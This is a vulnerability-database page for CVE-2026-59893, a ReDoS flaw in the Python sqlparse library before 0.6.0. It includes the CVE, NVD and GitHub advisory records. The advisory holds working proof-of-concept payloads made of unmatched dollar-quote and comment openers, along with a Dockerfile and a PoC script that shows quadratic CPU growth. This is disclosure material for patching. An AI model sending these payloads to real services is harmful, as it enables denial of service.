Action not permitted
Modal body text goes here.
Modal Title
Modal Body
CVE-2026-59893 (GCVE-0-2026-59893)
Vulnerability from cvelistv5 – Published: 2026-08-17 17:41 – Updated: 2026-08-17 18:54- CWE-1333 - Inefficient Regular Expression Complexity
| URL | Tags |
|---|---|
| https://github.com/andialbrecht/sqlparse/security… | x_refsource_CONFIRM |
| https://github.com/andialbrecht/sqlparse/commit/d… | x_refsource_MISC |
| Vendor | Product | Version | CPE status | |
|---|---|---|---|---|
| andialbrecht | sqlparse |
Affected:
< 0.6.0
|
guessed |
{
"containers": {
"adp": [
{
"metrics": [
{
"other": {
"content": {
"id": "CVE-2026-59893",
"options": [
{
"Exploitation": "poc"
},
{
"Automatable": "yes"
},
{
"Technical Impact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-17T18:54:17.365983Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2026-08-17T18:54:26.754Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"references": [
{
"tags": [
"exploit"
],
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
}
],
"title": "CISA ADP Vulnrichment"
}
],
"cna": {
"affected": [
{
"product": "sqlparse",
"vendor": "andialbrecht",
"versions": [
{
"status": "affected",
"version": "\u003c 0.6.0"
}
]
}
],
"descriptions": [
{
"lang": "en",
"value": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
}
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-1333",
"description": "CWE-1333: Inefficient Regular Expression Complexity",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-08-17T17:41:36.621Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"name": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e",
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
}
],
"source": {
"advisory": "GHSA-prg7-hcfm-mfcr",
"discovery": "UNKNOWN"
},
"title": "sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)"
}
},
"cveMetadata": {
"assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"assignerShortName": "GitHub_M",
"cveId": "CVE-2026-59893",
"datePublished": "2026-08-17T17:41:36.621Z",
"dateReserved": "2026-07-07T16:40:07.983Z",
"dateUpdated": "2026-08-17T18:54:26.754Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2",
"vulnerability-lookup:meta": {
"epss": {
"cve": "CVE-2026-59893",
"date": "2026-08-20",
"epss": "0.00279",
"percentile": "0.20465"
},
"nvd": "{\"cve\":{\"id\":\"CVE-2026-59893\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-08-17T18:17:35.730\",\"lastModified\":\"2026-08-17T19:16:32.493\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"andialbrecht\",\"product\":\"sqlparse\",\"versions\":[{\"version\":\"\u003c 0.6.0\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\",\"baseScore\":7.5,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"NONE\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":3.9,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-08-17T18:54:17.365983Z\",\"id\":\"CVE-2026-59893\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"yes\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-1333\"}]}],\"references\":[{\"url\":\"https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-59893\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"yes\"}, {\"Technical Impact\": \"partial\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-08-17T18:54:17.365983Z\"}}}], \"references\": [{\"url\": \"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-08-17T18:54:01.389Z\"}}], \"cna\": {\"title\": \"sqlparse: Inefficient Regex Handling of Dollar-Quoted SQL Literals Leads to ReDoS (Denial of Service)\", \"source\": {\"advisory\": \"GHSA-prg7-hcfm-mfcr\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 7.5, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H\", \"integrityImpact\": \"NONE\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"NONE\"}}], \"affected\": [{\"vendor\": \"andialbrecht\", \"product\": \"sqlparse\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 0.6.0\"}]}], \"references\": [{\"url\": \"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr\", \"name\": \"https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e\", \"name\": \"https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-1333\", \"description\": \"CWE-1333: Inefficient Regular Expression Complexity\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-08-17T17:41:36.621Z\"}}}",
"cveMetadata": "{\"cveId\": \"CVE-2026-59893\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-08-17T18:54:26.754Z\", \"dateReserved\": \"2026-07-07T16:40:07.983Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-08-17T17:41:36.621Z\", \"assignerShortName\": \"GitHub_M\"}",
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
}
}
FKIE_CVE-2026-59893
Vulnerability from fkie_nvd - Published: 2026-08-17 18:17 - Updated: 2026-08-17 19:16| Vendor | Product | Version |
|---|
{
"affected": [
{
"affectedData": [
{
"product": "sqlparse",
"vendor": "andialbrecht",
"versions": [
{
"status": "affected",
"version": "\u003c 0.6.0"
}
]
}
],
"source": "security-advisories@github.com"
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "sqlparse is a non-validating SQL parser module for Python. Prior to 0.6.0, SQL_REGEX in sqlparse/keywords.py and the per-position loop in sqlparse/lexer.py repeatedly scan unmatched dollar-quoted literal and multiline-comment delimiters, causing quadratic CPU consumption through sqlparse.parse(), sqlparse.format(), and sqlparse.split(). This issue is fixed in version 0.6.0."
}
],
"id": "CVE-2026-59893",
"lastModified": "2026-08-17T19:16:32.493",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "security-advisories@github.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-59893",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "yes"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-08-17T18:54:17.365983Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-08-17T18:17:35.730",
"references": [
{
"source": "security-advisories@github.com",
"url": "https://github.com/andialbrecht/sqlparse/commit/d1d80602741f77ec78e5a04ce4719244cf32352e"
},
{
"source": "security-advisories@github.com",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"url": "https://github.com/andialbrecht/sqlparse/security/advisories/GHSA-prg7-hcfm-mfcr"
}
],
"sourceIdentifier": "security-advisories@github.com",
"vulnStatus": "Received",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-1333"
}
],
"source": "security-advisories@github.com",
"type": "Secondary"
}
]
}
GHSA-PRG7-HCFM-MFCR
Vulnerability from github – Published: 2026-08-17 17:49 – Updated: 2026-08-17 17:49Summary
sqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at sqlparse/keywords.py:33 uses a backreference (\1) to match closing dollar-quote delimiters, causing O(n²) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.
Scope note: the same regex shape — a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop — is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see "Additional affected pattern: multiline comments" below.
Details
The vulnerable regex is defined in sqlparse/keywords.py as part of SQL_REGEX:
# sqlparse/keywords.py:33
(r'((?<![\w\"\$])\$(?:[_A-ZÀ-Ü]\w*)?\$)[\s\S]*?\1', tokens.Literal),
This pattern first captures a dollar-quote delimiter (e.g., $tag$) into group 1, then attempts to match any characters ([\s\S]*?) up to the same delimiter again via backreference \1. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N²) total regex work.
The lexer applies this regex at every character position (sqlparse/lexer.py:136-138):
# sqlparse/lexer.py:136-138
for pos, char in iterable:
for rexmatch, action in self._SQL_REGEX:
m = rexmatch(text, pos)
The data flow from public API to the vulnerable sink is:
sqlparse/__init__.py:20—parse(sql)accepts caller-controlled SQL.sqlparse/__init__.py:29— delegates toparsestream(sql, encoding).sqlparse/__init__.py:43—FilterStack.run(stream, encoding)is invoked.sqlparse/engine/filter_stack.py:31—lexer.tokenize(sql, encoding)is called with no length limit or timeout.sqlparse/lexer.py:137— every regex in_SQL_REGEXis tried at the current position.sqlparse/keywords.py:33— the backreference regex performs repeated delimiter searches.
The MAX_GROUPING_TOKENS = 10000 limit in sqlparse/engine/grouping.py:20 fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.
Empirically measured scaling confirms super-linear complexity:
| Input (N unique openers) | Bytes | Elapsed |
|---|---|---|
| 250 | 1,889 | 0.066 s |
| 500 | 3,889 | 0.144 s |
| 1,000 | 7,889 | 0.397 s |
| 2,000 | 16,889 | 1.314 s |
The timing ratio from n=1000 to n=2000 is 3.31× (input doubled → time tripled), confirming O(n²) growth.
PoC
Prerequisites: Python 3.x with sqlparse installed (tested against version 0.5.6.dev0, commit c923da9).
Using Docker (isolated reproduction):
# Build from the repository root (parent of vuln-001/)
docker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .
# Run with no network access
docker run --rm --network=none sqlparse-vuln001
Direct Python reproduction:
import time
import sqlparse
from sqlparse.exceptions import SQLParseError
def make_payload(n: int) -> str:
# N unique unmatched dollar-quote openers — none have a matching closing delimiter
return " ".join(f"$a{i}$x" for i in range(n))
for n in [250, 500, 1000, 2000]:
payload = make_payload(n)
t0 = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as e:
status = f"SQLParseError: {e}"
elapsed = time.perf_counter() - t0
print(f"n={n:>5} bytes={len(payload):>7} elapsed={elapsed:.3f}s status={status}")
Expected output (super-linear scaling confirms ReDoS):
n= 250 bytes= 1889 elapsed=0.066s status=ok
n= 500 bytes= 3889 elapsed=0.144s status=ok
n= 1000 bytes= 7889 elapsed=0.397s status=ok
n= 2000 bytes= 16889 elapsed=1.314s status=ok
Key ratio (n=1000 -> n=2000): 3.31x
[PASS] Super-linear (O(n^2)) scaling CONFIRMED.
Attack input structure:
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each token $ai$x resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.
Remediation (proposed patch):
Replace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with re.finditer, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See report_excerpt.md for the full diff.
Additional affected pattern: multiline comments
Reported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.
Two further entries in SQL_REGEX use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:
# sqlparse/keywords.py:20
(r'/\*\+[\s\S]*?\*/', tokens.Comment.Multiline.Hint),
# sqlparse/keywords.py:23
(r'/\*[\s\S]*?\*/', tokens.Comment.Multiline),
A backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (sqlparse/lexer.py:136-138): an unterminated /* scans to the end of the input and fails, so N unclosed openers cost O(N²).
PoC
import time, sqlparse
for n in (2000, 4000, 8000, 16000):
payload = "/*x " * n
t0 = time.perf_counter()
sqlparse.parse(payload)
print(f"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s")
Lexing-only timings on 0.5.6.dev0 (commit f80af6a), isolating the regex work from grouping:
| openers | bytes | lexing |
|---|---|---|
| 2,000 | 8 KB | 0.057 s |
| 4,000 | 16 KB | 0.196 s |
| 8,000 | 32 KB | 0.729 s |
| 16,000 | 64 KB | 2.717 s |
Roughly 3.7x per doubling of the input, i.e. quadratic.
Note for reproduction: "/*" * n on its own is linear and does not reproduce the issue — in /*/*/*... the openers form overlapping */ pairs, so the pattern matches immediately. The opener must be padded (e.g. "/*x ") so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.
Impact
This is a Regular Expression Denial of Service (ReDoS) vulnerability. Any application or service that passes user-controlled SQL text to sqlparse.parse(), sqlparse.format(), or sqlparse.split() is affected. No authentication, special configuration, or elevated privileges are required — a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.
Under sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.
Affected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.
Reproduction artifacts
Dockerfile
FROM python:3.11-slim
# Install build dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
build-essential \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Copy the sqlparse repository source code
COPY repo/ /app/repo/
# Install sqlparse from local source in editable mode
RUN pip install --no-cache-dir -e /app/repo/
# Copy the PoC script (build context is the parent of vuln-001/)
COPY vuln-001/poc.py /app/poc.py
# Default: run the PoC
CMD ["python3", "/app/poc.py"]
poc.py
"""
PoC: ReDoS in sqlparse dollar-quoted literal regex (VULN-001)
Affected code: sqlparse/keywords.py:33
(r'((?<![\\w\\"\\$])\\$(?:[_A-ZÀ-Ü]\\w*)?\\$)[\\s\\S]*?\\1', tokens.Literal)
The backreference \\1 forces the regex engine to scan the entire remaining input
for each unmatched unique dollar-quote delimiter, yielding O(n^2) CPU complexity.
Attack input: a sequence of N unique, never-closed dollar-quote openers
$a0$x $a1$x $a2$x ... $a{N-1}$x
Each opener $ai$ is unique, so the regex engine must exhaust the remaining
string before concluding no match exists. With N openers this creates
O(N^2) regex work.
Expected observation: elapsed time grows quadratically (roughly 4x per 2x N).
PASS criterion: timing ratio between n=2000 and n=1000 >= 3.0 (clear super-linear).
"""
import sys
import time
try:
import sqlparse
from sqlparse.exceptions import SQLParseError
except ImportError as exc:
print(f"[ERROR] Cannot import sqlparse: {exc}", file=sys.stderr)
sys.exit(2)
print("=" * 60)
print("VULN-001 ReDoS PoC: sqlparse dollar-quoted literal regex")
print("=" * 60)
print(f"sqlparse version: {sqlparse.__version__}")
print()
def make_payload(n: int) -> str:
"""Generate N unique unmatched dollar-quote openers.
Each token '$ai$x' looks like an opening dollar-quote delimiter
but never has a closing delimiter, so the regex engine must scan
the entire remaining string before giving up on each one.
"""
return " ".join(f"$a{i}$x" for i in range(n))
results = []
sample_sizes = [250, 500, 1000, 2000]
for n in sample_sizes:
payload = make_payload(n)
byte_len = len(payload.encode())
t_start = time.perf_counter()
try:
sqlparse.parse(payload)
status = "ok"
except SQLParseError as exc:
status = f"SQLParseError({exc})"
except Exception as exc:
status = f"Exception({type(exc).__name__}: {exc})"
elapsed = time.perf_counter() - t_start
results.append((n, byte_len, elapsed, status))
print(f"n={n:>5} bytes={byte_len:>7} elapsed={elapsed:>8.3f}s status={status}")
print()
# Compute scaling ratios between consecutive sample sizes
print("Scaling analysis (O(n^2) expected -> ratio >= ~4x per 2x input):")
for i in range(1, len(results)):
n_prev, _, t_prev, _ = results[i - 1]
n_curr, _, t_curr, _ = results[i]
if t_prev > 0:
ratio = t_curr / t_prev
n_ratio = n_curr / n_prev
print(f" n={n_prev} -> n={n_curr} (input x{n_ratio:.1f}): time ratio = {ratio:.2f}x")
print()
# PASS/FAIL verdict based on timing ratio between largest two points
_, _, t_1000, _ = results[2] # n=1000
_, _, t_2000, _ = results[3] # n=2000
PASS_THRESHOLD = 3.0
if t_1000 > 0:
ratio_1000_2000 = t_2000 / t_1000
else:
ratio_1000_2000 = 0.0
print(f"Key ratio (n=1000 -> n=2000): {ratio_1000_2000:.2f}x")
if ratio_1000_2000 >= PASS_THRESHOLD:
print()
print("[PASS] Super-linear (O(n^2)) scaling CONFIRMED.")
print(f" Time ratio {ratio_1000_2000:.2f}x >= threshold {PASS_THRESHOLD}x.")
print(" ReDoS vulnerability in sqlparse dollar-quote regex is REPRODUCED.")
sys.exit(0)
else:
print()
print("[FAIL] Super-linear scaling NOT confirmed within this run.")
print(f" Time ratio {ratio_1000_2000:.2f}x < threshold {PASS_THRESHOLD}x.")
print(" The host may be too fast or JIT effects obscured the result.")
print(" Try larger sample sizes or re-run on a slower host.")
sys.exit(1)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.6.dev0"
},
"package": {
"ecosystem": "PyPI",
"name": "sqlparse"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-59893"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T17:49:55Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nsqlparse contains a Regular Expression Denial of Service (ReDoS) vulnerability in its dollar-quoted SQL literal lexer. The regex pattern at `sqlparse/keywords.py:33` uses a backreference (`\\1`) to match closing dollar-quote delimiters, causing O(n\u00b2) CPU complexity when processing inputs containing many unique, unmatched dollar-quote opening sequences. An attacker who can supply arbitrary SQL text to any application using sqlparse can trigger sustained CPU exhaustion, resulting in a denial of service. No authentication or special privileges are required.\n\n**Scope note:** the same regex shape \u2014 a lazy dot-all quantifier terminated by a delimiter, applied at every input position by the lexer loop \u2014 is also present in the two multiline-comment patterns. Those are covered by this advisory and by the same fix; see \"Additional affected pattern: multiline comments\" below.\n\n### Details\n\nThe vulnerable regex is defined in `sqlparse/keywords.py` as part of `SQL_REGEX`:\n\n```python\n# sqlparse/keywords.py:33\n(r\u0027((?\u003c![\\w\\\"\\$])\\$(?:[_A-Z\u00c0-\u00dc]\\w*)?\\$)[\\s\\S]*?\\1\u0027, tokens.Literal),\n```\n\nThis pattern first captures a dollar-quote delimiter (e.g., `$tag$`) into group 1, then attempts to match any characters (`[\\s\\S]*?`) up to the same delimiter again via backreference `\\1`. When no matching closing delimiter exists, the regex engine exhausts the remaining input before concluding there is no match. For a sequence of N unique unmatched openers, each opener triggers a full scan of the remaining string, yielding O(N\u00b2) total regex work.\n\nThe lexer applies this regex at every character position (`sqlparse/lexer.py:136-138`):\n\n```python\n# sqlparse/lexer.py:136-138\nfor pos, char in iterable:\n for rexmatch, action in self._SQL_REGEX:\n m = rexmatch(text, pos)\n```\n\nThe data flow from public API to the vulnerable sink is:\n\n1. `sqlparse/__init__.py:20` \u2014 `parse(sql)` accepts caller-controlled SQL.\n2. `sqlparse/__init__.py:29` \u2014 delegates to `parsestream(sql, encoding)`.\n3. `sqlparse/__init__.py:43` \u2014 `FilterStack.run(stream, encoding)` is invoked.\n4. `sqlparse/engine/filter_stack.py:31` \u2014 `lexer.tokenize(sql, encoding)` is called with no length limit or timeout.\n5. `sqlparse/lexer.py:137` \u2014 every regex in `_SQL_REGEX` is tried at the current position.\n6. `sqlparse/keywords.py:33` \u2014 the backreference regex performs repeated delimiter searches.\n\nThe `MAX_GROUPING_TOKENS = 10000` limit in `sqlparse/engine/grouping.py:20` fires only after lexing completes and does not bound regex CPU time. There is no input length check, delimiter count check, or regex timeout before the sink.\n\nEmpirically measured scaling confirms super-linear complexity:\n\n| Input (N unique openers) | Bytes | Elapsed |\n|--------------------------|--------|----------|\n| 250 | 1,889 | 0.066 s |\n| 500 | 3,889 | 0.144 s |\n| 1,000 | 7,889 | 0.397 s |\n| 2,000 | 16,889 | 1.314 s |\n\nThe timing ratio from n=1000 to n=2000 is **3.31\u00d7** (input doubled \u2192 time tripled), confirming O(n\u00b2) growth.\n\n### PoC\n\n**Prerequisites:** Python 3.x with sqlparse installed (tested against version `0.5.6.dev0`, commit `c923da9`).\n\n**Using Docker (isolated reproduction):**\n\n```bash\n# Build from the repository root (parent of vuln-001/)\ndocker build -t sqlparse-vuln001 -f vuln-001/Dockerfile .\n\n# Run with no network access\ndocker run --rm --network=none sqlparse-vuln001\n```\n\n**Direct Python reproduction:**\n\n```python\nimport time\nimport sqlparse\nfrom sqlparse.exceptions import SQLParseError\n\ndef make_payload(n: int) -\u003e str:\n # N unique unmatched dollar-quote openers \u2014 none have a matching closing delimiter\n return \" \".join(f\"$a{i}$x\" for i in range(n))\n\nfor n in [250, 500, 1000, 2000]:\n payload = make_payload(n)\n t0 = time.perf_counter()\n try:\n sqlparse.parse(payload)\n status = \"ok\"\n except SQLParseError as e:\n status = f\"SQLParseError: {e}\"\n elapsed = time.perf_counter() - t0\n print(f\"n={n:\u003e5} bytes={len(payload):\u003e7} elapsed={elapsed:.3f}s status={status}\")\n```\n\n**Expected output (super-linear scaling confirms ReDoS):**\n\n```\nn= 250 bytes= 1889 elapsed=0.066s status=ok\nn= 500 bytes= 3889 elapsed=0.144s status=ok\nn= 1000 bytes= 7889 elapsed=0.397s status=ok\nn= 2000 bytes= 16889 elapsed=1.314s status=ok\n\nKey ratio (n=1000 -\u003e n=2000): 3.31x\n[PASS] Super-linear (O(n^2)) scaling CONFIRMED.\n```\n\n**Attack input structure:**\n\n```\n$a0$x $a1$x $a2$x ... $a{N-1}$x\n```\n\nEach token `$ai$x` resembles a PostgreSQL-style dollar-quote opening tag. Because every tag is unique and no closing tag is present, the regex engine must scan to the end of the string for each opener before backtracking.\n\n**Remediation (proposed patch):**\n\nReplace the backreference regex with a deterministic two-pass approach: first locate all delimiter positions with `re.finditer`, then resolve open/close pairs in O(n) time, eliminating catastrophic backtracking entirely. See `report_excerpt.md` for the full diff.\n\n### Additional affected pattern: multiline comments\n\nReported independently as GHSA-3crh-2448-7855 (by @7thParkk) and merged into this advisory: it is the same defect class in the same lexer loop, and it is addressed by the same fix.\n\nTwo further entries in `SQL_REGEX` use the same lazy dot-all shape, terminated by a literal delimiter instead of a backreference:\n\n```python\n# sqlparse/keywords.py:20\n(r\u0027/\\*\\+[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline.Hint),\n# sqlparse/keywords.py:23\n(r\u0027/\\*[\\s\\S]*?\\*/\u0027, tokens.Comment.Multiline),\n```\n\nA backreference is not required to trigger the quadratic behaviour. The cost comes from the lexer retrying every pattern at every input position (`sqlparse/lexer.py:136-138`): an unterminated `/*` scans to the end of the input and fails, so N unclosed openers cost O(N\u00b2).\n\n**PoC**\n\n```python\nimport time, sqlparse\n\nfor n in (2000, 4000, 8000, 16000):\n payload = \"/*x \" * n\n t0 = time.perf_counter()\n sqlparse.parse(payload)\n print(f\"n={n:6d} bytes={len(payload):7d} elapsed={time.perf_counter()-t0:.3f}s\")\n```\n\nLexing-only timings on `0.5.6.dev0` (commit `f80af6a`), isolating the regex work from grouping:\n\n| openers | bytes | lexing |\n|---------|-------|--------|\n| 2,000 | 8 KB | 0.057 s |\n| 4,000 | 16 KB | 0.196 s |\n| 8,000 | 32 KB | 0.729 s |\n| 16,000 | 64 KB | 2.717 s |\n\nRoughly 3.7x per doubling of the input, i.e. quadratic.\n\n**Note for reproduction:** `\"/*\" * n` on its own is *linear* and does not reproduce the issue \u2014 in `/*/*/*...` the openers form overlapping `*/` pairs, so the pattern matches immediately. The opener must be padded (e.g. `\"/*x \"`) so that it never closes. A reproduction that only tries the unpadded form will wrongly conclude the issue is not present.\n\n### Impact\n\nThis is a **Regular Expression Denial of Service (ReDoS)** vulnerability. Any application or service that passes user-controlled SQL text to `sqlparse.parse()`, `sqlparse.format()`, or `sqlparse.split()` is affected. No authentication, special configuration, or elevated privileges are required \u2014 a single crafted HTTP request (or any other input channel carrying SQL text) is sufficient.\n\nUnder sustained attack, one or more CPU cores can be kept at 100% utilization, degrading or completely blocking service for all other users. Because the grouping-stage token limit fires only after the regex work is done, it provides no protection against this attack.\n\nAffected use cases include: web applications that accept and display or format SQL; database administration tools; ORM query inspectors; SQL linters and formatters exposed as APIs.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.11-slim\n\n# Install build dependencies\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n 